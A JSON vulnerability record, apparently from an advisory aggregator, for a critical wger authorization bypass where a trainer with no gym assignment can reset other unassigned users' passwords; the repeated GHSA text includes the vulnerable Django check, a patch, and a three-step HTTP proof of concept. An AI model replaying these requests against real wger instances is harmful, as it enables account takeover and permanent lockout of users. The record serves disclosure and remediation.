{"id":"CVE-2026-43948","aliases":["EUVD-2026-29833","GHSA-mhc8-p3jx-84mm","PYSEC-2026-574"],"status":"published","title":"wger: cross-tenant password reset and plaintext disclosure via gym=None bypass","description":"wger is a free, open-source workout and fitness manager. Prior to 2.6, the reset_user_password and gym_permissions_user_edit views in wger perform a gym-scope authorization check using Python object comparison (!=) that evaluates None != None as False, silently bypassing the guard when both the attacker and victim have no gym assignment (gym=None). A user with gym.manage_gym permission and gym=None can reset the password of any other gym=None user; the new plaintext password is returned verbatim in the HTML response body, enabling one-shot full account takeover. The victim's original password is invalidated, locking them out permanently. This vulnerability is fixed in 2.6.","severity":{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00371,"percentile":0.31497,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-863"],"published":"2026-05-06T19:50:31Z","modified":"2026-10-28T02:30:30Z","fixes":[{"ecosystem":"PyPI","package":"wger","fixed_in":["2.6"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"wger","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.5"},{"fixed":"2.6"}]}]},{"source":"osv","ecosystem":"PyPI","package":"wger","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.6"}]}],"versions":["1.1","1.1.1","1.2","1.2rc1","1.3","1.4","1.5","1.6","1.6.1","1.7","1.8","1.9","2.0","2.1"]},{"source":"osv","ecosystem":"PyPI","package":"wger","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.6"}]}],"versions":["1.1","1.1.1","1.2","1.2rc1","1.3","1.4","1.5","1.6","1.6.1","1.7","1.8","1.9","2.0","2.1"]}],"products":[{"vendor":"wger-project","product":"wger"}],"references":[{"url":"https://github.com/wger-project/wger/security/advisories/GHSA-mhc8-p3jx-84mm","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43948","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-mhc8-p3jx-84mm","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/43xxx/CVE-2026-43948.json","tags":["advisory"]},{"url":"https://github.com/wger-project/wger","tags":["package"]},{"url":"https://pypi.org/project/wger","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-43948","title":"wger: cross-tenant password reset and plaintext disclosure via gym=None bypass","description":"wger is a free, open-source workout and fitness manager. Prior to 2.6, the reset_user_password and gym_permissions_user_edit views in wger perform a gym-scope authorization check using Python object comparison (!=) that evaluates None != None as False, silently bypassing the guard when both the attacker and victim have no gym assignment (gym=None). A user with gym.manage_gym permission and gym=None can reset the password of any other gym=None user; the new plaintext password is returned verbatim in the HTML response body, enabling one-shot full account takeover. The victim's original password is invalidated, locking them out permanently. This vulnerability is fixed in 2.6.","status":"published","published":"2026-05-12T20:47:23.906Z","modified":"2026-05-13T14:50:46.717Z","cvss":[{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"cna"}],"cwes":["CWE-863"],"updated_at":"2026-11-02T13:37:25.103021Z"}],"euvd":[{"id":"EUVD-2026-29833","description":"wger is a free, open-source workout and fitness manager. Prior to 2.6, the reset_user_password and gym_permissions_user_edit views in wger perform a gym-scope authorization check using Python object comparison (!=) that evaluates None != None as False, silently bypassing the guard when both the attacker and victim have no gym assignment (gym=None). A user with gym.manage_gym permission and gym=None can reset the password of any other gym=None user; the new plaintext password is returned verbatim in the HTML response body, enabling one-shot full account takeover. The victim's original password is invalidated, locking them out permanently. This vulnerability is fixed in 2.6.","status":"published","published":"2026-05-12T20:47:23Z","modified":"2026-05-13T14:50:46Z","cvss":[{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T19:04:33.75998Z"}],"ghsa":[{"id":"GHSA-mhc8-p3jx-84mm","title":"wger: cross-tenant password reset and plaintext disclosure via gym=None bypass","description":"### Summary\n\nThe `reset_user_password` and `gym_permissions_user_edit` views in wger perform a gym-scope authorization check using Python object comparison (`!=`) that evaluates `None != None` as `False`, silently bypassing the guard when both the attacker and victim have no gym assignment (`gym=None`). A user with `gym.manage_gym` permission and `gym=None` can reset the password of **any other `gym=None` user**; the new plaintext password is returned verbatim in the HTML response body, enabling one-shot full account takeover. The victim's original password is invalidated, locking them out permanently.\n\n### Details\n\n**File**: `wger/gym/views/user.py`\n\nThe authorization guard in `reset_user_password` (and the parallel check in `gym_permissions_user_edit`) uses Django ORM object comparison:\n\n```python\n# VULNERABLE - wger/gym/views/user.py\nif request.user.userprofile.gym != user.userprofile.gym:\n    return HttpResponseForbidden()\n```\n\nWhen both `request.user.userprofile.gym` and `user.userprofile.gym` are `None` (representing users with no gym assignment - the default for newly registered users before gym linking), Python evaluates `None != None` as `False`. The guard therefore passes without raising `HttpResponseForbidden`, and execution continues unconditionally to:\n\n```python\npassword = password_generator()\nuser.set_password(password)\nuser.save()\nreturn render(request, 'user/trainer_login.html', {'password': password, ...})\n```\n\nThe generated password is rendered verbatim in the response body.\n\n**Affected endpoints**:\n- `GET /en/gym/user/\u003cuser_pk\u003e/reset-user-password` -\u003e `wger.gym.views.user.reset_user_password`\n- `GET /en/gym/user/\u003cuser_pk\u003e/edit` -\u003e `wger.gym.views.user.gym_permissions_user_edit`\n\n**Suggested patch**:\n\n```diff\n--- a/wger/gym/views/user.py\n+++ b/wger/gym/views/user.py\n-    if request.user.userprofile.gym != user.userprofile.gym:\n-        return HttpResponseForbidden()\n+    trainer_gym_id = request.user.userprofile.gym_id   # raw FK int\n+    member_gym_id  = user.userprofile.gym_id\n+\n+    if trainer_gym_id is None or trainer_gym_id != member_gym_id:\n+        return HttpResponseForbidden()\n```\n\nThe `_id` suffix accesses the raw integer foreign key, bypassing Python's object identity semantics. The explicit `is None` guard rejects unaffiliated trainers immediately, regardless of the victim's gym status. Apply the same `same_gym()` helper pattern to all five views sharing this check: `reset_user_password`, `gym_permissions_user_edit`, `admin_notes_list`, `documents_list`, `contracts_list`.\n\n### PoC\n\nTested on `wger/server:latest` Docker image (runtime: Django 5.2.13). Two test users: `trainer1` (`gym.manage_gym` permission, `userprofile.gym=None`) and `alice` (regular user, `userprofile.gym=None`).\n\n**Step 1** - Authenticate as trainer with `manage_gym` permission and `gym=None`:\n\n```\nPOST /en/user/login HTTP/1.1\nHost: target\nContent-Type: application/x-www-form-urlencoded\n\nusername=trainer1\u0026password=[REDACTED]\u0026csrfmiddlewaretoken=[REDACTED]\n\n-\u003e 302 Found; Set-Cookie: sessionid=[trainer1_session]\n```\n\n**Step 2** - Trigger cross-tenant password reset:\n\n```\nGET /en/gym/user/2/reset-user-password HTTP/1.1\nHost: target\nCookie: sessionid=[trainer1_session]\n\n-\u003e 200 OK\n\u003ctr\u003e\u003cth\u003ePassword\u003c/th\u003e\u003ctd\u003e[GENERATED_PLAINTEXT_PASSWORD]\u003c/td\u003e\u003c/tr\u003e\n```\n\n**Step 3** - Authenticate as victim (alice) using leaked password:\n\n```\nPOST /en/user/login HTTP/1.1\nHost: target\n\nusername=alice\u0026password=[GENERATED_PLAINTEXT_PASSWORD]\u0026csrfmiddlewaretoken=[...]\n\n-\u003e 302 Found; authenticated as alice\n(alice's ORIGINAL password is now invalid - permanent lockout)\n```\n\n**RBAC Disproof Protocol** (three-scenario test):\n- Scenario A (admin, same-gym) -\u003e HTTP 200 (expected - documented feature)\n- Scenario B (trainer1 gym=None -\u003e alice gym=None) -\u003e **HTTP 200 with plaintext password in body** (expected HTTP 403)\n- Scenario C (trainer1 gym=1 -\u003e alice gym=2) -\u003e HTTP 403 (expected - guard works when gyms differ, confirms bypass is `None`-specific)\n\nReproducibility: 2/2 runs after clean-baseline database reset.\n\n### Impact\n\nAn attacker with `gym.manage_gym` permission and `gym=None` can:\n\n1. Reset the password of any other `gym=None` user on the wger instance.\n2. Receive the new plaintext password in the HTTP response body.\n3. Log in as the victim immediately.\n4. Permanently lock the victim out (original password invalidated).\n\n**Affected deployments**: every wger instance where `gym.manage_gym` permission is delegated to non-admin users AND any other users exist with `gym=None`. The `gym=None` state is the **default for newly registered users** before manual gym assignment, so every public-registration wger instance is affected.\n\n**Severity**: Critical (CVSS 9.9). Network-reachable, low complexity, requires only low privilege (delegated trainer), scope change (impersonation of other tenant), complete confidentiality/integrity/availability loss for all unaffiliated accounts.\n\nThis is the same structural bug class as the sibling finding affecting `trainer_login` (submitted separately). The root cause - Django ORM object-`!=` returning `False` when both sides are `None` - appears across five views and warrants a shared `same_gym()` helper.","status":"published","published":"2026-05-06T19:50:31Z","modified":"2026-05-13T16:31:54Z","cvss":[{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-863"],"updated_at":"2026-11-02T14:40:09.033429Z"}],"nvd":[{"id":"CVE-2026-43948","description":"wger is a free, open-source workout and fitness manager. Prior to 2.6, the reset_user_password and gym_permissions_user_edit views in wger perform a gym-scope authorization check using Python object comparison (!=) that evaluates None != None as False, silently bypassing the guard when both the attacker and victim have no gym assignment (gym=None). A user with gym.manage_gym permission and gym=None can reset the password of any other gym=None user; the new plaintext password is returned verbatim in the HTML response body, enabling one-shot full account takeover. The victim's original password is invalidated, locking them out permanently. This vulnerability is fixed in 2.6.","status":"published","published":"2026-05-12T22:16:35.197Z","modified":"2026-06-17T10:50:06.547Z","cvss":[{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-863"],"updated_at":"2026-11-02T14:12:18.613259Z"}],"osv":[{"id":"CVE-2026-43948","title":"wger: cross-tenant password reset and plaintext disclosure via gym=None bypass","description":"wger is a free, open-source workout and fitness manager. Prior to 2.6, the reset_user_password and gym_permissions_user_edit views in wger perform a gym-scope authorization check using Python object comparison (!=) that evaluates None != None as False, silently bypassing the guard when both the attacker and victim have no gym assignment (gym=None). A user with gym.manage_gym permission and gym=None can reset the password of any other gym=None user; the new plaintext password is returned verbatim in the HTML response body, enabling one-shot full account takeover. The victim's original password is invalidated, locking them out permanently. This vulnerability is fixed in 2.6.","status":"published","published":"2026-05-12T20:47:23.906Z","modified":"2026-10-28T02:30:30.106261101Z","cvss":[{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-863"],"updated_at":"2026-11-02T15:45:04.820169Z"},{"id":"GHSA-mhc8-p3jx-84mm","title":"wger: cross-tenant password reset and plaintext disclosure via gym=None bypass","description":"### Summary\n\nThe `reset_user_password` and `gym_permissions_user_edit` views in wger perform a gym-scope authorization check using Python object comparison (`!=`) that evaluates `None != None` as `False`, silently bypassing the guard when both the attacker and victim have no gym assignment (`gym=None`). A user with `gym.manage_gym` permission and `gym=None` can reset the password of **any other `gym=None` user**; the new plaintext password is returned verbatim in the HTML response body, enabling one-shot full account takeover. The victim's original password is invalidated, locking them out permanently.\n\n### Details\n\n**File**: `wger/gym/views/user.py`\n\nThe authorization guard in `reset_user_password` (and the parallel check in `gym_permissions_user_edit`) uses Django ORM object comparison:\n\n```python\n# VULNERABLE - wger/gym/views/user.py\nif request.user.userprofile.gym != user.userprofile.gym:\n    return HttpResponseForbidden()\n```\n\nWhen both `request.user.userprofile.gym` and `user.userprofile.gym` are `None` (representing users with no gym assignment - the default for newly registered users before gym linking), Python evaluates `None != None` as `False`. The guard therefore passes without raising `HttpResponseForbidden`, and execution continues unconditionally to:\n\n```python\npassword = password_generator()\nuser.set_password(password)\nuser.save()\nreturn render(request, 'user/trainer_login.html', {'password': password, ...})\n```\n\nThe generated password is rendered verbatim in the response body.\n\n**Affected endpoints**:\n- `GET /en/gym/user/\u003cuser_pk\u003e/reset-user-password` -\u003e `wger.gym.views.user.reset_user_password`\n- `GET /en/gym/user/\u003cuser_pk\u003e/edit` -\u003e `wger.gym.views.user.gym_permissions_user_edit`\n\n**Suggested patch**:\n\n```diff\n--- a/wger/gym/views/user.py\n+++ b/wger/gym/views/user.py\n-    if request.user.userprofile.gym != user.userprofile.gym:\n-        return HttpResponseForbidden()\n+    trainer_gym_id = request.user.userprofile.gym_id   # raw FK int\n+    member_gym_id  = user.userprofile.gym_id\n+\n+    if trainer_gym_id is None or trainer_gym_id != member_gym_id:\n+        return HttpResponseForbidden()\n```\n\nThe `_id` suffix accesses the raw integer foreign key, bypassing Python's object identity semantics. The explicit `is None` guard rejects unaffiliated trainers immediately, regardless of the victim's gym status. Apply the same `same_gym()` helper pattern to all five views sharing this check: `reset_user_password`, `gym_permissions_user_edit`, `admin_notes_list`, `documents_list`, `contracts_list`.\n\n### PoC\n\nTested on `wger/server:latest` Docker image (runtime: Django 5.2.13). Two test users: `trainer1` (`gym.manage_gym` permission, `userprofile.gym=None`) and `alice` (regular user, `userprofile.gym=None`).\n\n**Step 1** - Authenticate as trainer with `manage_gym` permission and `gym=None`:\n\n```\nPOST /en/user/login HTTP/1.1\nHost: target\nContent-Type: application/x-www-form-urlencoded\n\nusername=trainer1\u0026password=[REDACTED]\u0026csrfmiddlewaretoken=[REDACTED]\n\n-\u003e 302 Found; Set-Cookie: sessionid=[trainer1_session]\n```\n\n**Step 2** - Trigger cross-tenant password reset:\n\n```\nGET /en/gym/user/2/reset-user-password HTTP/1.1\nHost: target\nCookie: sessionid=[trainer1_session]\n\n-\u003e 200 OK\n\u003ctr\u003e\u003cth\u003ePassword\u003c/th\u003e\u003ctd\u003e[GENERATED_PLAINTEXT_PASSWORD]\u003c/td\u003e\u003c/tr\u003e\n```\n\n**Step 3** - Authenticate as victim (alice) using leaked password:\n\n```\nPOST /en/user/login HTTP/1.1\nHost: target\n\nusername=alice\u0026password=[GENERATED_PLAINTEXT_PASSWORD]\u0026csrfmiddlewaretoken=[...]\n\n-\u003e 302 Found; authenticated as alice\n(alice's ORIGINAL password is now invalid - permanent lockout)\n```\n\n**RBAC Disproof Protocol** (three-scenario test):\n- Scenario A (admin, same-gym) -\u003e HTTP 200 (expected - documented feature)\n- Scenario B (trainer1 gym=None -\u003e alice gym=None) -\u003e **HTTP 200 with plaintext password in body** (expected HTTP 403)\n- Scenario C (trainer1 gym=1 -\u003e alice gym=2) -\u003e HTTP 403 (expected - guard works when gyms differ, confirms bypass is `None`-specific)\n\nReproducibility: 2/2 runs after clean-baseline database reset.\n\n### Impact\n\nAn attacker with `gym.manage_gym` permission and `gym=None` can:\n\n1. Reset the password of any other `gym=None` user on the wger instance.\n2. Receive the new plaintext password in the HTTP response body.\n3. Log in as the victim immediately.\n4. Permanently lock the victim out (original password invalidated).\n\n**Affected deployments**: every wger instance where `gym.manage_gym` permission is delegated to non-admin users AND any other users exist with `gym=None`. The `gym=None` state is the **default for newly registered users** before manual gym assignment, so every public-registration wger instance is affected.\n\n**Severity**: Critical (CVSS 9.9). Network-reachable, low complexity, requires only low privilege (delegated trainer), scope change (impersonation of other tenant), complete confidentiality/integrity/availability loss for all unaffiliated accounts.\n\nThis is the same structural bug class as the sibling finding affecting `trainer_login` (submitted separately). The root cause - Django ORM object-`!=` returning `False` when both sides are `None` - appears across five views and warrants a shared `same_gym()` helper.","status":"published","published":"2026-05-06T19:50:31Z","modified":"2026-06-29T12:26:41.642593311Z","cvss":[{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-863"],"updated_at":"2026-11-02T15:46:51.811331Z"},{"id":"PYSEC-2026-574","title":"wger: cross-tenant password reset and plaintext disclosure via gym=None bypass","description":"### Summary\n\nThe `reset_user_password` and `gym_permissions_user_edit` views in wger perform a gym-scope authorization check using Python object comparison (`!=`) that evaluates `None != None` as `False`, silently bypassing the guard when both the attacker and victim have no gym assignment (`gym=None`). A user with `gym.manage_gym` permission and `gym=None` can reset the password of **any other `gym=None` user**; the new plaintext password is returned verbatim in the HTML response body, enabling one-shot full account takeover. The victim's original password is invalidated, locking them out permanently.\n\n### Details\n\n**File**: `wger/gym/views/user.py`\n\nThe authorization guard in `reset_user_password` (and the parallel check in `gym_permissions_user_edit`) uses Django ORM object comparison:\n\n```python\n# VULNERABLE - wger/gym/views/user.py\n if request.user.userprofile.gym != user.userprofile.gym:\n    return HttpResponseForbidden()\n ```\n\nWhen both `request.user.userprofile.gym` and `user.userprofile.gym` are `None` (representing users with no gym assignment - the default for newly registered users before gym linking), Python evaluates `None != None` as `False`. The guard therefore passes without raising `HttpResponseForbidden`, and execution continues unconditionally to:\n\n```python\npassword = password_generator()\nuser.set_password(password)\n user.save()\nreturn render(request, 'user/trainer_login.html', {'password': password, ...})\n```\n\nThe generated password is rendered verbatim in the response body.\n \n**Affected endpoints**:\n- `GET /en/gym/user/\u003cuser_pk\u003e/reset-user-password` -\u003e `wger.gym.views.user.reset_user_password`\n- `GET /en/gym/user/\u003cuser_pk\u003e/edit` -\u003e `wger.gym.views.user.gym_permissions_user_edit`\n\n**Suggested patch**:\n\n```diff\n --- a/wger/gym/views/user.py\n+++ b/wger/gym/views/user.py\n-    if request.user.userprofile.gym != user.userprofile.gym:\n-        return HttpResponseForbidden()\n+    trainer_gym_id = request.user.userprofile.gym_id   # raw FK int\n+    member_gym_id  = user.userprofile.gym_id\n+\n+    if trainer_gym_id is None or trainer_gym_id != member_gym_id:\n+        return HttpResponseForbidden()\n```\n\nThe `_id` suffix accesses the raw integer foreign key, bypassing Python's object identity semantics. The explicit `is None` guard rejects unaffiliated trainers immediately, regardless of the victim's gym status. Apply the same `same_gym()` helper pattern to all five views sharing this check: `reset_user_password`, `gym_permissions_user_edit`, `admin_notes_list`, `documents_list`, `contracts_list`.\n\n### PoC\n\nTested on `wger/server:latest` Docker image (runtime: Django 5.2.13). Two test users: `trainer1` (`gym.manage_gym` permission, `userprofile.gym=None`) and `alice` (regular user, `userprofile.gym=None`).\n\n**Step 1** - Authenticate as trainer with `manage_gym` permission and `gym=None`:\n\n```\nPOST /en/user/login HTTP/1.1\nHost: target\nContent-Type: application/x-www-form-urlencoded\n\nusername=trainer1\u0026password=[REDACTED]\u0026csrfmiddlewaretoken=[REDACTED]\n \n-\u003e 302 Found; Set-Cookie: sessionid=[trainer1_session]\n```\n\n**Step 2** - Trigger cross-tenant password reset:\n\n```\nGET /en/gym/user/2/reset-user-password HTTP/1.1\n Host: target\nCookie: sessionid=[trainer1_session]\n\n-\u003e 200 OK\n\u003ctr\u003e\u003cth\u003ePassword\u003c/th\u003e\u003ctd\u003e[GENERATED_PLAINTEXT_PASSWORD]\u003c/td\u003e\u003c/tr\u003e\n ```\n\n**Step 3** - Authenticate as victim (alice) using leaked password:\n\n```\n POST /en/user/login HTTP/1.1\nHost: target\n\nusername=alice\u0026password=[GENERATED_PLAINTEXT_PASSWORD]\u0026csrfmiddlewaretoken=[...]\n \n-\u003e 302 Found; authenticated as alice\n(alice's ORIGINAL password is now invalid - permanent lockout)\n```\n\n**RBAC Disproof Protocol** (three-scenario test):\n - Scenario A (admin, same-gym) -\u003e HTTP 200 (expected - documented feature)\n- Scenario B (trainer1 gym=None -\u003e alice gym=None) -\u003e **HTTP 200 with plaintext password in body** (expected HTTP 403)\n- Scenario C (trainer1 gym=1 -\u003e alice gym=2) -\u003e HTTP 403 (expected - guard works when gyms differ, confirms bypass is `None`-specific)\n \nReproducibility: 2/2 runs after clean-baseline database reset.\n\n### Impact\n \nAn attacker with `gym.manage_gym` permission and `gym=None` can:\n\n1. Reset the password of any other `gym=None` user on the wger instance.\n2. Receive the new plaintext password in the HTTP response body.\n3. Log in as the victim immediately.\n 4. Permanently lock the victim out (original password invalidated).\n\n**Affected deployments**: every wger instance where `gym.manage_gym` permission is delegated to non-admin users AND any other users exist with `gym=None`. The `gym=None` state is the **default for newly registered users** before manual gym assignment, so every public-registration wger instance is affected.\n\n**Severity**: Critical (CVSS 9.9). Network-reachable, low complexity, requires only low privilege (delegated trainer), scope change (impersonation of other tenant), complete confidentiality/integrity/availability loss for all unaffiliated accounts.\n\nThis is the same structural bug class as the sibling finding affecting `trainer_login` (submitted separately). The root cause - Django ORM object-`!=` returning `False` when both sides are `None` - appears across five views and warrants a shared `same_gym()` helper.","status":"published","published":"2026-06-29T11:50:48.728363Z","modified":"2026-07-13T16:15:34.786211565Z","cvss":[{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T15:52:57.671918Z"}]}}